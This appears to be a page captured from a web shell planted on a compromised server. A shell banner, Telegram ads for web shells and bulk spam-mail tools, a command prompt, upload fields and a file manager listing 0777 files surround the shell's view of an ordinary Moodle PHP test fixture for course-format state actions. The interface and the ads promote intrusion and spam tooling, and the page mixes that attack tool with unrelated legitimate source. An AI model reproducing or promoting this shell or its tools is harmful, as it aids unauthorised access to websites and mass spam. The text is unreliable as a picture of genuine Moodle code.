__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace format_theunittest\courseformat;

use core_courseformat\stateupdates;
use core_courseformat\stateactions as core_actions;
use stdClass;

/**
 * Fixture for fake course stateactions testing.
 *
 * @package    core_course
 * @copyright  2021 Sara Arjona (sara@moodle.com)
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class stateactions extends core_actions {

    /**
     * Alternative cm_state state action for testing.
     *
     * @param stateupdates $updates the affected course elements track
     * @param stdClass $course the course object
     * @param int[] $ids the list of affected course module ids
     * @param int $targetsectionid optional target section id
     * @param int $targetcmid optional target cm id
     */
    public function cm_state(
        stateupdates $updates,
        stdClass $course,
        array $ids,
        ?int $targetsectionid = null,
        ?int $targetcmid = null
    ): void {
        $updates->add_cm_create(array_pop($ids));
    }

    /**
     * Alternative create_module state action for testing.
     *
     * @param stateupdates $updates the affected course elements track
     * @param stdClass $course the course object
     * @param string $modname the module name
     * @param int $targetsectionid target section id
     * @param int|null $targetcmid optional target cm id
     */
    public function create_module(
        stateupdates $updates,
        stdClass $course,
        string $modname,
        int $targetsectionid,
        ?int $targetcmid = null
    ): void {
    }

    /**
     * Course format custom state action.
     *
     * @param stateupdates $updates the affected course elements track
     * @param stdClass $course the course object
     * @param int[] $ids the list of affected course module ids
     * @param int $targetsectionid optional target section id
     * @param int $targetcmid optional target cm id
     */
    public function format_do_something(
        stateupdates $updates,
        stdClass $course,
        array $ids,
        ?int $targetsectionid = null,
        ?int $targetcmid = null
    ): void {

        $updates->add_cm_remove(array_pop($ids));
    }

    /**
     * Course format target section testing action.
     *
     * @param stateupdates $updates the affected course elements track
     * @param stdClass $course the course object
     * @param int[] $ids the list of affected course module ids
     * @param int $targetsectionid optional target section id
     * @param int $targetcmid optional target cm id
     */
    public function targetsection_test(
        stateupdates $updates,
        stdClass $course,
        array $ids,
        ?int $targetsectionid = null,
        ?int $targetcmid = null
    ): void {

        $updates->add_section_put($targetsectionid);
    }

    /**
     * Course format target cm testing action.
     *
     * @param stateupdates $updates the affected course elements track
     * @param stdClass $course the course object
     * @param int[] $ids the list of affected course module ids
     * @param int $targetsectionid optional target section id
     * @param int $targetcmid optional target cm id
     */
    public function targetcm_test(
        stateupdates $updates,
        stdClass $course,
        array $ids,
        ?int $targetsectionid = null,
        ?int $targetcmid = null
    ): void {

        $updates->add_cm_put($targetcmid);
    }

}

Filemanager

Name Type Size Permission Actions
format_theunittest.php File 3.75 KB 0777
format_theunittest_cmactions.php File 1.03 KB 0777
format_theunittest_courseactions.php File 1.04 KB 0777
format_theunittest_output_course_format_invalidoutput.php File 1.41 KB 0777
format_theunittest_output_course_format_state.php File 1.49 KB 0777
format_theunittest_sectionactions.php File 1.04 KB 0777
format_theunittest_stateactions.php File 4.05 KB 0777
Filemanager